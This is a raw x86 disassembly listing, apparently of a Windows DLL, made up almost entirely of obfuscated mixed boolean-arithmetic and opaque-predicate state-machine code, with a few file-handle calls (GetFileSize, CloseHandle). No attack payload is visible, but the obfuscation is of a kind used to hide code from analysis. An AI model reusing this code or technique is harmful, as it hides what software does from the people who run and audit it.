mov edx, dword [ebp - 0x28]
and edx, 0x240219
or edx, eax
mov eax, edx
xor eax, 0x40019
or eax, 0x1bd01d04
xor edx, 0x84094080
and edx, 0x84294280
and eax, 0x3bd63d5f
or eax, edx
mov edi, ecx
xor edi, ecx
not edi
and edi, ebx
xor edi, ecx
mov edx, ecx
or edx, ebx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x51a45006
and edi, 0xae5baff9
or edi, ebx
xor edi, edx
or ecx, edx
xor edi, 0xae5baff9
not ecx
or ecx, edi
mov edx, esi
xor edx, 0x10008820
or edx, 0x212213
xor esi, 0x1800004
and edx, 0x1071bb33
and esi, 0x4b800404
or esi, edx
mov edi, eax
xor edi, 0x20060048
xor eax, 0x218220
and eax, 0x1071bb33
and edi, 0xa40e40c8
or edi, eax
xor edi, esi
mov eax, edi
not eax
and eax, 0xf370b5bd
mov edx, edi
and edx, 0xc8f4a42
or edx, eax
mov eax, edx
xor eax, 0xc8f4a42
xor edx, 0x7d44fefd
and edx, eax
and edi, 0x71cbb4bf
or edi, edx
xor edi, ecx
mov edx, dword [ebp - 0x2c]
xor edx, 0xf242ca7
mov eax, dword [ebp - 0x18]
and edx, eax
mov ecx, dword [ebp - 0x14]
and ecx, 0x57aa4350
and eax, 0xa855bcaf
or eax, ecx
mov ebx, dword [ebp - 0x24]
mov ecx, ebx
and ecx, 0x74c65f7b
mov esi, dword [ebp - 0x20]
or esi, ecx
xor eax, 0xa855bcaf
or ebx, eax
and eax, 0x74c65f7b
or edx, eax
xor edx, esi
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xd4441b16
and edx, 0x2bbbe4e9
or edx, eax
mov esi, edx
mov edx, ebx
not edx
or ecx, ebx
and ebx, 0xd4441b16
and edx, 0x2bbbe4e9
or edx, ebx
mov eax, edi
xor eax, 0x86240200
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0x267fbec8
and edx, ecx
not ecx
or ecx, edx
not edx
and edx, 0xd9804137
and ecx, 0x267fbec8
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x80fca6c3
and edx, 0x7f03593c
or edx, ecx
mov ecx, edx
xor ecx, 0x80508602
xor edx, 0x12014910
and edx, 0x12ad69d1
and ecx, 0xed52962e
or ecx, edx
mov esi, ecx
xor esi, 0xed52962e
xor edi, 0x71cbb4bf
xor ecx, 0x2084900
and ecx, 0x648cd24
mov edx, esi
and edx, 0xf9b732db
or edx, ecx
xor edx, 0xf9b732db
mov ecx, edi
and ecx, 0x9586deb
and eax, 0xf6a79214
or eax, ecx
or edi, edx
and edx, 0x9586deb
and esi, 0xf6a79214
or esi, edx
mov edx, esi
xor edx, esi
not edx
and edx, eax
xor edx, esi
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0xa2773c12
and edx, 0x5d88c3ed
or edx, eax
xor edx, edi
xor edx, 0x5d88c3ed
or ebx, edi
not ebx
or ebx, edx
mov eax, ebx
not eax
mov ecx, eax
mov edi, eax
mov dword [ebp - 0x14], eax
and ecx, 0xd2d665a2
mov esi, ebx
and esi, 0x2d299a5d
or esi, ecx
mov edx, esi
xor edx, 0x8210254
xor esi, 0xd2d665a2
mov ecx, esi
and ecx, 0xb718fdab
and edx, 0x48e70254
or edx, ecx
and edi, ebx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0xb718fdab
and edi, 0x48e70254
or edi, ecx
xor edi, edx
mov eax, ebx
xor eax, 0xc696958b
and eax, ebx
not esi
or esi, edi
mov ecx, esi
not ecx
and ecx, 0x29b829d3
and esi, 0xd647d62c
or esi, ecx
mov ecx, esi
xor ecx, 0x29b829d3
and ecx, esi
mov edi, dword [ebp - 0x14]
mov edx, edi
and edx, 0xc696958b
or eax, edx
mov edx, eax
xor edx, 0x39696a74
and edx, ebx
mov esi, edi
and esi, 0xd647d62c
and ebx, 0x29b829d3
or ebx, esi
not ebx
or ebx, edi
xor ebx, ecx
and ecx, ebx
mov esi, ecx
not esi
mov edi, esi
and edi, 0x4c1636ba
and ecx, 0xb3e9c945
or ecx, edi
mov edi, ebx
not edi
or esi, ebx
and ebx, 0x4c1636ba
and edi, 0xb3e9c945
or edi, ebx
xor edi, ecx
not esi
or esi, edi
mov ecx, esi
xor ecx, 0x29b829d3
xor esi, 0xd647d62c
mov edi, esi
and edi, 0xa6d154e8
and esi, ecx
and ecx, 0x592eab17
or ecx, edi
mov edi, ecx
xor edi, 0x19228914
xor ecx, 0xa6d154e8
mov ebx, ecx
and ebx, 0xc41c6223
and edi, 0x3be39ddc
or edi, ebx
mov ebx, esi
not ebx
or ecx, ebx
and ebx, 0xc41c6223
and esi, 0x3be39ddc
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0x289b0e35
and esi, ecx
and ecx, 0xd764f1ca
or ecx, edi
mov edi, ecx
xor edi, 0x5264e14a
xor ecx, 0x289b0e35
mov ebx, ecx
and ebx, 0x858010b1
and edi, 0x7a7fef4e
or edi, ebx
mov ebx, esi
not ebx
or ecx, ebx
and ebx, 0x858010b1
and esi, 0x7a7fef4e
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0xd530dfda
and ecx, 0x2acf2025
or ecx, edi
xor ecx, 0x2acf2025
or ecx, esi
mov esi, eax
xor esi, 0xc696958b
mov eax, dword [ebp - 0x14]
and eax, esi
or edx, eax
xor esi, edx
and esi, edx
mov eax, esi
not eax
mov edx, esi
mov edi, esi
mov dword [ebp - 0x20], esi
or edx, 0x2313800
and edx, 0xaef37d30
mov esi, eax
and esi, 0x11008042
or esi, edx
mov edx, eax
or edx, 0xacc24530
and edx, 0xaef37d30
and edi, 0x400c028d
or edi, edx
xor edi, esi
mov dword [ebp - 0x14], edi
mov esi, ecx
not esi
mov edx, esi
mov dword [ebp - 0x18], esi
and edx, 0x5a88ec6c
mov edi, ecx
and edi, 0xa5771393
or edi, edx
mov ebx, ecx
or ebx, 0xa4271283
mov edx, esi
and edx, 0x5000cc68
and ebx, 0xaeaf3287
or ebx, edx
mov edx, dword [ebp - 0x14]
mov esi, edx
xor esi, 0x423d3a8d
mov dword [ebp - 0x1c], esi
xor edx, 0xbdc2c572
mov dword [ebp - 0x14], edx
and edx, 0x5a88ec6c
and esi, 0xa5771393
or esi, edx
mov edx, esi
xor edx, dword [ebp - 0x14]
and edx, esi
mov dword [ebp - 0x30], edx
and eax, 0x5a004424
mov edx, dword [ebp - 0x20]
and edx, 0x88a848
or edx, eax
mov dword [ebp - 0x20], edx
mov edx, edi
not edx
or edx, dword [ebp - 0x18]
mov edi, edx
not edi
mov eax, edx
and eax, 0x63470e10
xor edx, 0xda9ccc18
and edx, edi
mov dword [ebp - 0x28], edx
mov esi, edi
and esi, 0x9cb8f1ef
or esi, eax
mov dword [ebp - 0x38], esi
mov edi, ebx
xor edi, 0x2800000
mov edx, ebx
xor edx, 0x5150cd78
mov eax, edx
and eax, 0x1c5c21cc
and edi, 0x4280cc20
or edi, eax
mov eax, esi
xor eax, 0x9cb8f1ef
mov dword [ebp - 0x24], eax
mov eax, esi
xor eax, 0x46243df7
and eax, dword [ebp - 0x24]
or dword [ebp - 0x28], eax
mov eax, edi
xor eax, 0xe3a3de33
mov dword [ebp - 0x34], eax
mov esi, edi
xor esi, 0x393f122b
and esi, eax
mov eax, esi
not eax
mov dword [ebp - 0x2c], eax
and dword [ebp - 0x2c], 0x965c2d84
and esi, 0x6882d068
add esi, dword [ebp - 0x2c]
or edx, 0x256333e7
xor ebx, 0x8800000
or eax, edx
and edx, 0x977d2f87
and ebx, 0x4880c008
or ebx, edx
xor ebx, esi
not eax
or eax, ebx
mov edx, eax
xor edx, eax
not edx
and edx, dword [ebp - 0x28]
xor edx, eax
mov ebx, dword [ebp - 0x38]
xor ebx, 0x63470e10
mov eax, ebx
and eax, 0x8bc8690d
mov esi, dword [ebp - 0x24]
and esi, 0x743796f2
or esi, eax
xor edi, 0x1c5c21cc
or ebx, edi
and edi, 0xa88680c
mov eax, dword [ebp - 0x34]
and eax, 0x743796f2
or eax, edi
xor eax, esi
mov esi, ebx
not esi
or esi, eax
not esi
or esi, edx
mov eax, dword [ebp - 0x20]
xor eax, 0x88a848
or eax, 0xa5771393
mov edx, eax
mov ebx, dword [ebp - 0x30]
mov eax, ebx
not eax
xor ebx, eax
and ebx, edx
xor ebx, eax
or eax, edx
not eax
or ebx, eax
mov eax, ebx
not eax
mov edx, ebx
xor edx, 0xb5b5d54c
and edx, eax
and ebx, 0x4a4a2ab3
or ebx, edx
xor ebx, esi
mov eax, dword [ebp - 0x14]
and eax, 0x7ce8dc1f
mov esi, dword [ebp - 0x1c]
mov edx, esi
and edx, 0x831723e0
or edx, eax
mov eax, edx
xor eax, 0x831723e0
xor edx, 0x226f9d45
and edx, eax
and esi, 0xa178bea5
or esi, edx
mov dword [ebp - 0x1c], esi
mov esi, ecx
xor esi, 0x5e87415a
and esi, dword [ebp - 0x18]
mov edx, esi
not edx
mov edi, edx
and edi, 0xcfe6bbc5
and esi, 0x3019443a
or esi, edi
mov edi, dword [ebp - 0x18]
or eax, edi
or edi, 0x5e87415a
or edx, edi
and edi, 0xcfe6bbc5
and ecx, 0x20180420
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
xor edx, dword [ebp - 0x1c]
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x8c585880
and edx, 0x73a7a77f
or edx, esi
mov esi, eax
not esi
or ecx, eax
and eax, 0x8c585880
and esi, 0x73a7a77f
or esi, eax
xor esi, edx
not ecx
or ecx, esi
mov esi, ecx
mov edx, ecx
xor edx, 0x71117683
and edx, ecx
mov eax, ecx
or eax, 0x8eee897c
not esi
mov ecx, eax
and ecx, 0x920ab30f
and esi, 0x61114480
or esi, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0x920ab30f
and edx, 0x6df54cf0
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov esi, eax
xor esi, 0x8eee897c
mov edx, eax
xor edx, 0x71117683
mov ecx, ebx
xor ecx, 0x4a4a2ab3
xor eax, 0x2e74e1da
and eax, esi
mov esi, ecx
or ecx, edx
and edx, 0xa09a68a6
or eax, edx
mov edx, ebx
xor edx, 0xb5b5d54c
xor ebx, 0x152fbdea
and ebx, edx
or edx, 0x5f659759
mov edi, edx
and edi, 0xb4a55f43
and esi, 0x1a20a4
or esi, edi
mov edi, ebx
not edi
or edx, edi
and edi, 0xb4a55f43
and ebx, 0x4b5aa0bc
or ebx, edi
xor ebx, esi
not edx
or edx, ebx
xor edx, eax
mov esi, ecx
not esi
mov eax, edx
not eax
mov edi, eax
and edi, 0xc6637967
and edx, 0x399c8698
or edx, edi
or eax, ecx
and ecx, 0xc6637967
and esi, 0x399c8698
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov edx, eax
xor edx, 0xdfcf190f
and edx, eax
mov ecx, eax
mov ebx, eax
not ebx
mov dword [ebp - 0x14], ebx
mov esi, ebx
or esi, edx
not edx
and edx, 0x2030e6f0
and esi, 0xdfcf190f
or esi, edx
mov edx, esi
not edx
and edx, 0xffab79aa
and esi, 0x548655
or esi, edx
mov edi, esi
xor edi, 0xffab79aa
and edi, esi
mov edx, ebx
and edx, 0xdbb04e08
and ecx, 0x244fb1f7
or ecx, edx
xor ecx, 0xdbe4c85d
mov esi, ecx
xor esi, ebx
and esi, ecx
mov ecx, edi
not ecx
mov edx, esi
not edx
and esi, ecx
or ecx, edx
and edx, edi
or edx, esi
mov esi, edx
not esi
mov edi, esi
and edi, 0x5b48f668
and edx, 0xa4b70997
or edx, edi
xor edx, ecx
xor edx, 0xa4b70997
or esi, ecx
not esi
or esi, edx
mov edx, esi
mov edi, esi
xor edi, 0xe28a1a76
and edi, esi
not esi
or edx, 0x1d75e589
mov ecx, edx
and ecx, 0x1130499a
and esi, 0xe28a1264
or esi, ecx
mov ecx, edi
not ecx
or edx, ecx
and ecx, 0x1130499a
and edi, 0xeecfb665
or edi, ecx
xor edi, esi
not edx
or edx, edi
mov ecx, edx
xor ecx, 0x62348a80
or ecx, 0x884543
mov esi, edx
xor esi, 0x4202200
and ecx, 0x6a89c55f
and esi, 0x4243a20
or esi, ecx
mov ecx, edx
xor ecx, 0x6a344bd4
or ecx, 0x6a01801c
xor edx, 0x80520000
and ecx, 0x6a89c55f
and edx, 0x91520080
or edx, ecx
mov edi, eax
xor edi, 0xc5101fb8
and edi, eax
mov ebx, eax
xor edx, esi
mov ecx, edx
xor ecx, 0x584440
mov eax, dword [ebp - 0x14]
and eax, 0xc1101db8
and ebx, 0x4000200
or ebx, eax
xor ebx, 0x4000200
or ebx, edi
not edi
and edi, 0x3aefe047
and ebx, 0xc5101fb8
or ebx, edi
mov eax, edx
xor eax, 0x6e25ba3c
mov dword [ebp - 0x14], eax
xor edx, 0x25cec44
and edx, eax
and ecx, 0x6c795678
or ecx, edx
mov edi, ebx
xor edi, 0x9386a987
mov eax, edi
and edi, ebx
mov edx, ebx
not edx
and eax, edx
mov esi, eax
not esi
mov ebx, esi
and ebx, 0xa0a94466
and eax, 0x5f56bb99
or eax, ebx
mov ebx, edi
not ebx
or esi, ebx
and ebx, 0xa0a94466
and edi, 0x5f56bb99
or edi, ebx
xor edi, eax
not esi
or esi, edi
xor esi, ecx
or edx, dword [ebp - 0x14]
not edx
or edx, esi
mov eax, edx
not eax
and eax, 0x3d4169f2
and edx, 0xc2be960d
or edx, eax
xor edx, 0xc2be960d
setne cl
sete al
cmp dword [0x10049904], 0xa
setge dl
setl ch
mov dh, al
and dh, ch
mov ah, dl
and ah, cl
or ah, dh
xor ah, 1
or ah, ch
mov dh, al
and dh, dl
mov ebx, eax
xor al, ch
mov bh, al
and al, ch
and ch, cl
or ch, dh
mov dh, ch
xor dh, 1
xor ch, dh
and ch, ah
xor ch, dh
or dh, ah
xor dh, 1
or dh, ch
mov ch, dh
xor ch, 1
and ch, dh
xor ch, 1
mov ah, dh
xor ah, ch
or ch, dh
xor ch, 1
or ch, ah
or bl, dl
xor cl, dl
mov ah, bl
xor ah, cl
or cl, bl
xor cl, 1
or cl, ah
mov ah, ch
xor ah, 1
xor bh, 1
and dl, bh
or al, dl
xor al, 1
or al, bh
mov edx, eax
xor dl, 1
mov dh, dl
xor dh, cl
and dh, dl
xor al, cl
and al, dl
or dl, cl
xor dl, 1
or dl, al
mov al, dh
xor al, dl
or dl, dh
xor dl, 1
or dl, al
xor dl, 1
or dl, al
and ah, ch
xor ah, 1
mov al, ah
xor al, ch
or ah, ch
xor ah, 1
or ah, al
mov al, dl
xor al, 1
mov ch, dl
and ch, al
xor ch, 1
mov cl, ch
xor cl, dl
or ch, dl
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
and cl, ch
xor cl, 1
mov dh, ch
xor dh, cl
or cl, ch
mov ch, ah
xor ch, 1
xor cl, 1
or cl, dh
mov dh, ch
xor dh, cl
and dh, cl
or cl, ah
xor cl, 1
or cl, dh
mov dh, al
and dh, ch
and dl, ah
or dl, dh
xor ch, al
or al, ah
mov ah, ch
xor ah, al
or al, ch
xor al, 1
or al, ah
xor al, 1
or al, dl
mov ah, cl
xor ah, 1
mov ch, al
mov dl, ah
xor ah, al
xor al, 1
or ch, cl
xor ch, 1
or dl, al
xor dl, 1
or dl, ch
or al, cl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov ecx, edx
xor cl, 1
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xffc015ba
mov esi, 0x41ee25a8
cmovne edx, esi
test al, 1
mov eax, edx
mov esi, 0xffc015ba
jmp 0x1000f5b0
mov eax, 0xfd8852ba
jmp 0x1000f5c0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, 0xe3c36466
jmp 0x1000f5c0
mov eax, 0xba38d291
jmp 0x1000f5c0
mov eax, dword [ebp - 0x3c]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
cmp dword [eax], 0xffffffff
sete byte [ebp - 0x54]
mov eax, dword [0x10049900]
lea esi, [eax + 1]
imul esi, eax
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0x244a043
mov edx, esi
and edx, 0xf0120980
or edx, eax
xor edx, 0xf0120980
mov ecx, esi
xor ecx, 0xf256a9c3
and ecx, esi
mov dword [ebp - 0x20], esi
or ecx, edx
mov eax, ecx
xor eax, 0xc880418
xor ecx, 0xf256a9c3
and eax, 0x7eca8d5a
mov edx, ecx
and edx, 0x813572a5
or edx, eax
xor edx, 0x296b55e2
and ecx, 0x57a1d8b8
or ecx, edx
mov eax, ebx
and eax, 0xa85e2747
and esi, 0x57a1d8b8
or esi, eax
mov edx, esi
xor edx, ebx
mov dword [ebp - 0x1c], ebx
and edx, esi
mov eax, edx
and edx, ecx
not ecx
not eax
mov esi, ecx
xor esi, eax
and esi, ecx
and eax, ecx
or eax, edx
or eax, esi
mov ecx, eax
xor ecx, 0x57a1d8b8
mov edx, eax
xor edx, 0x81c2000
xor eax, 0x189d7000
and eax, ecx
or ecx, 0xb0c35747
mov esi, ecx
and esi, 0xd700544a
and edx, 0x83ca8b0
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xd700544a
and eax, 0x28ffabb5
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xb0c35747
mov edi, ecx
xor edi, 0x4f3ca8b8
mov edx, edi
or edx, eax
xor ecx, 0xc6260fca
and ecx, edx
and eax, 0xf698bda6
mov edx, edi
and edx, 0x9674259
or edx, eax
xor ecx, 0x76e5588c
xor edx, 0x9674258
and edi, 0xfffffffe
or edi, edx
not edi
or edi, ecx
mov ecx, ebx
and ecx, 0xe184eaa
mov ebx, dword [ebp - 0x20]
mov eax, ebx
and eax, 0xf1e7b154
or eax, ecx
mov ecx, eax
xor ecx, 0x5143b110
xor eax, 0x8104808
and eax, 0xa8b4484c
and ecx, 0x574bb7b2
or ecx, eax
mov eax, ebx
or eax, 0xa8b4484c
and eax, 0xa8b4484d
xor eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x37a862bf
and eax, 0xc8579d40
or eax, edx
mov edx, ebx
and edx, 0x37a862bf
mov esi, dword [ebp - 0x1c]
and esi, 0xc8579d40
or esi, edx
xor esi, eax
not esi
or esi, ecx
mov edx, edi
not edx
mov dword [ebp - 0x18], edx
mov eax, edi
and eax, 0x46a7380d
mov ecx, edx
and ecx, 0xb958c7f2
or ecx, eax
xor ecx, 0xb958c7f2
mov eax, edi
and eax, edx
or eax, ecx
mov dword [ebp - 0x2c], eax
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0xd2e588bf
mov edx, esi
and edx, 0x2d1a7740
or edx, eax
mov eax, esi
and eax, ebx
mov ecx, eax
not ecx
mov dword [ebp - 0x14], ebx
or dword [ebp - 0x14], ecx
and ecx, 0xd2e588bf
and eax, 0x2d1a7740
or eax, ecx
xor eax, edx
mov ecx, dword [ebp - 0x14]
not ecx
or ecx, eax
mov edx, dword [ebp - 0x2c]
mov eax, edx
not eax
mov dword [ebp - 0x28], eax
and eax, 0xaa98088
and edx, 0xf5567f77
or edx, eax
xor edx, 0x373f71db
mov eax, edx
xor eax, dword [ebp - 0x28]
and eax, edx
mov dword [ebp - 0x24], eax
or edi, 0x2290600
mov eax, dword [ebp - 0x18]
and eax, 0x3d80f153
and edi, 0x23f0600
or edi, eax
mov eax, ecx
mov dword [ebp - 0x14], ecx
mov edx, ecx
not edx
mov dword [ebp - 0x18], edx
and edx, 0x48b6d53e
and eax, 0xb7492ac1
or eax, edx
mov edx, esi
and edx, 0xc2690eac
and ebx, 0x3d96f153
or ebx, edx
xor esi, ebx
and esi, ebx
mov edx, edi
xor edx, 0x20000
xor edi, 0xfdc0f9ff
mov ecx, dword [ebp - 0x24]
mov ebx, ecx
xor ebx, edi
and edi, 0x71b442af
and edx, 0xc02b150
or edx, edi
and ebx, ecx
xor edx, ecx
xor edx, 0x71b442af
or edx, ebx
xor eax, 0x8adfdb92
or eax, dword [ebp - 0x18]
mov ecx, esi
not ecx
xor esi, ecx
and esi, eax
or eax, ecx
xor esi, ecx
not eax
or esi, eax
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0x8cffcda0
mov eax, edx
and eax, 0x7300325f
or eax, edi
not esi
xor eax, 0x8cffcda0
or eax, esi
xor esi, ecx
and esi, edx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0xcd48ccb0
and esi, 0x32b7334f
or esi, ecx
xor esi, eax
or edx, eax
xor esi, 0x32b7334f
not edx
or edx, esi
mov dword [ebp - 0x24], edx
mov edi, dword [ebp - 0x28]
mov eax, edi
and eax, 0xa38278d7
mov ebx, dword [ebp - 0x2c]
mov esi, ebx
and esi, 0x5c7d8728
or esi, eax
mov ecx, esi
xor ecx, 0x5c7d8728
mov dword [ebp - 0x30], ecx
mov eax, esi
xor eax, 0x48f5f0
and eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x31c7b87f
and eax, 0xce384780
or eax, ecx
mov ecx, edi
or ecx, 0xa3ca8d27
or edx, ecx
and ecx, 0x31c7b87f
mov edi, ecx
and ebx, 0x4c304280
or ebx, ecx
xor ebx, eax
not edx
or edx, ebx
mov edi, dword [ebp - 0x14]
xor edi, 0xa3ca8d27
mov ecx, edi
and ecx, dword [ebp - 0x18]
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0xb1be2c9b
and ecx, 0x4e41d364
or ecx, ebx
and edi, dword [ebp - 0x14]
mov ebx, edi
not ebx
or eax, ebx
and ebx, 0xb1be2c9b
and edi, 0x4e41d364
or edi, ebx
xor edi, ecx
not eax
or eax, edi
mov edi, eax
xor edi, eax
not edi
and edi, edx
xor edi, eax
xor esi, 0xa38278d7
mov eax, esi
and eax, 0x7b31c54d
mov ecx, dword [ebp - 0x30]
and ecx, 0x84ce3ab2
or ecx, eax
mov edx, ecx
mov eax, dword [ebp - 0x14]
or esi, eax
and eax, 0x7b31c54d
mov ecx, dword [ebp - 0x18]
and ecx, 0x84ce3ab2
or ecx, eax
xor ecx, edx
not esi
or esi, ecx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x17e31920
and edi, 0xe81ce6df
or edi, ecx
xor edi, esi
or eax, esi
xor edi, 0xe81ce6df
not eax
or eax, edi
mov ecx, eax
not ecx
and eax, 0x341e6ba3
and ecx, 0xcbe1945c
or ecx, eax
mov eax, ecx
xor eax, 0x42a00408
xor ecx, 0x40c6b81
and ecx, 0x8d4dfbd5
and eax, 0x72b2042a
or eax, ecx
mov edi, dword [ebp - 0x24]
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x63e33dad
and edi, 0x9c1cc252
or edi, ecx
mov edx, eax
xor edx, 0x8d4dfbd5
xor eax, 0x62a0042a
mov ecx, edi
xor ecx, 0x9c1cc252
xor edi, 0x7bf4a469
and edi, ecx
or ecx, edx
and edx, 0x181799c4
and eax, 0xe7e8663b
or eax, edx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0xff0e0f38
and edi, 0xf1f0c7
or edi, ebx
or esi, 0x181799c4
or edx, esi
and esi, 0xff0e0f38
mov ebx, dword [ebp - 0x24]
and ebx, 0xe06003
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
not ecx
or ecx, esi
mov esi, ecx
not esi
mov eax, esi
and eax, 0x13513414
mov edx, ecx
and edx, 0xecaecbeb
or edx, eax
mov eax, edx
xor eax, 0x802e4b88
xor edx, 0x13513414
mov edi, edx
and edi, 0x7f90b467
and eax, 0x806f4b98
or eax, edi
mov edi, esi
and edi, ecx
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0x7f90b467
and edi, 0x806f4b98
or edi, ebx
xor edi, eax
not edx
or edx, edi
mov eax, esi
and eax, 0xa0d4d2b3
and ecx, 0x5f2b2d4c
or ecx, eax
xor ecx, 0x5f2b2d4c
xor esi, ecx
and esi, ecx
mov edi, edx
not edi
mov eax, edi
and eax, 0xff0e3193
and edx, 0xf1ce6c
or edx, eax
mov eax, esi
xor eax, 0xff0e3193
and eax, esi
mov ecx, esi
not esi
or ecx, 0xf1ce6c
mov ebx, ecx
and ebx, 0x9feeb36e
or edi, esi
and esi, 0x60000091
or esi, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0x9feeb36e
and eax, 0x60114c91
or eax, ebx
xor eax, esi
not ecx
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov esi, dword [ebp - 0x1c]
mov eax, esi
and eax, 0x7ec36103
mov edx, dword [ebp - 0x20]
and edx, 0x813c9efc
or edx, eax
mov ecx, edx
xor ecx, 0x380a0c
xor edx, 0x10820102
and edx, 0x918695f2
and ecx, 0x6e796a0d
or ecx, edx
mov eax, ecx
xor eax, 0x81828542
xor ecx, 0x6e796a0d
and eax, 0xcf9aef47
mov edx, ecx
and edx, 0x306510b8
or edx, eax
xor edx, 0x823deb18
and ecx, 0x4da7045f
or ecx, edx
mov eax, ecx
not eax
or esi, 0xb258fba0
mov edx, eax
xor edx, esi
and edx, eax
mov eax, esi
xor eax, ecx
mov ecx, eax
or ecx, edx
mov edx, ecx
mov eax, ecx
xor eax, 0xcf90ec55
and eax, ecx
or ecx, 0x306f13aa
not edx
mov esi, ecx
and esi, 0x2bea1ebe
and edx, 0xc410e041
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x2bea1ebe
and eax, 0xd415e141
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov ebx, ecx
xor ebx, 0x8237e80a
xor ecx, 0x7dc817f5
mov edx, edi
not edx
mov eax, ecx
and eax, edx
mov esi, edi
and esi, ebx
or esi, eax
not esi
or esi, edx
xor edx, ecx
mov ecx, esi
not ecx
and edx, ebx
xor ebx, edi
and ebx, edi
or ebx, edx
mov dword [ebp - 0x14], esi
mov eax, esi
xor eax, 0x358204ae
and eax, esi
mov edx, ecx
and edx, 0x358204ae
or edx, eax
mov dword [ebp - 0x1c], edx
mov eax, ebx
not eax
mov dword [ebp - 0x18], eax
mov edx, ebx
xor edx, 0xca7dfb51
mov edi, edx
and edi, eax
mov esi, edi
not esi
mov eax, esi
and eax, 0x74da3131
and edi, 0x8b25cece
or edi, eax
and edx, ebx
mov eax, edx
not eax
or esi, eax
and eax, 0x74da3131
and edx, 0x8b25cece
or edx, eax
xor edx, edi
not esi
or esi, edx
xor esi, dword [ebp - 0x1c]
mov eax, ecx
and eax, 0x77eb2973
mov edx, dword [ebp - 0x14]
and edx, 0x8814d68c
or edx, eax
or ecx, ebx
and ebx, 0x77eb2973
mov eax, dword [ebp - 0x18]
and eax, 0x8814d68c
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x6821a960
mov esi, ecx
and esi, 0x97de569f
or esi, edx
mov edx, esi
xor edx, 0x14404080
xor esi, 0x8202000
or eax, 0x9a43004
or esi, 0x22000a59
and esi, 0x2ba43a5d
and edx, 0x5440c180
or edx, esi
and eax, 0x2ba43a5d
and ecx, 0x801b0422
or ecx, eax
xor ecx, edx
mov eax, ecx
xor eax, 0xa21b0e7b
xor ecx, 0x5de4f184
mov edx, ecx
and edx, eax
and ecx, 0xa8e5f2aa
and eax, 0x571a0d55
or eax, ecx
mov ecx, eax
xor ecx, 0x46020001
xor eax, 0xa8e5f2aa
mov esi, eax
and esi, 0x113d8df4
and ecx, 0xeec2720b
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x113d8df4
and edx, 0xeec2720b
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
and ecx, 0x6861271b
and eax, 0x979ed8e4
or eax, ecx
xor eax, 0x979ed8e4
or eax, edx
setne ah
sete cl
cmp dword [0x10049904], 0xa
setge dl
setl ch
mov al, cl
mov dh, cl
mov byte [ebp - 0x14], cl
xor al, ch
mov cl, ah
or cl, dl
xor cl, 1
or cl, al
mov bl, ch
or bl, dh
xor bl, 1
mov dh, ah
xor dh, dl
or bl, dh
mov bh, bl
xor bh, 1
mov al, bh
and al, bl
xor al, 1
or al, bl
xor bl, cl
xor cl, 1
xor al, 1
or al, bh
xor al, cl
or bh, cl
xor bh, 1
or bh, bl
xor al, 1
mov cl, al
xor cl, bh
or al, bh
xor al, 1
or al, cl
mov ebx, edx
and bl, al
xor al, 1
mov cl, al
xor cl, ch
and cl, al
and al, ch
or al, bl
mov ebx, ecx
xor bl, 1
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
movzx ebx, byte [ebp - 0x14]
and ch, bl
and ah, dl
or ah, ch
mov ch, dl
or ch, bl
xor dl, bl
mov bl, ch
xor bl, 1
or dl, bl
xor bl, ah
xor ah, 1
or ah, ch
xor ah, 1
or ah, bl
mov ch, ah
xor ch, 1
mov bl, dh
xor bl, dl
or dl, dh
xor dl, 1
or dl, bl
mov dh, dl
xor dh, 1
and dl, dh
xor dl, 1
mov bl, dh
xor bl, dl
or dl, dh
xor dl, 1
or dl, bl
mov dh, dl
xor dh, 1
mov bl, ch
and bl, ah
xor bl, 1
or bl, ch
xor bl, 1
or bl, ah
mov ah, dh
and ah, dl
xor ah, 1
or ah, dh
xor ah, 1
or ah, dl
mov dl, bl
xor dl, 1
and dl, ah
xor ah, 1
and ah, bl
or ah, dl
mov dl, ch
or dl, dh
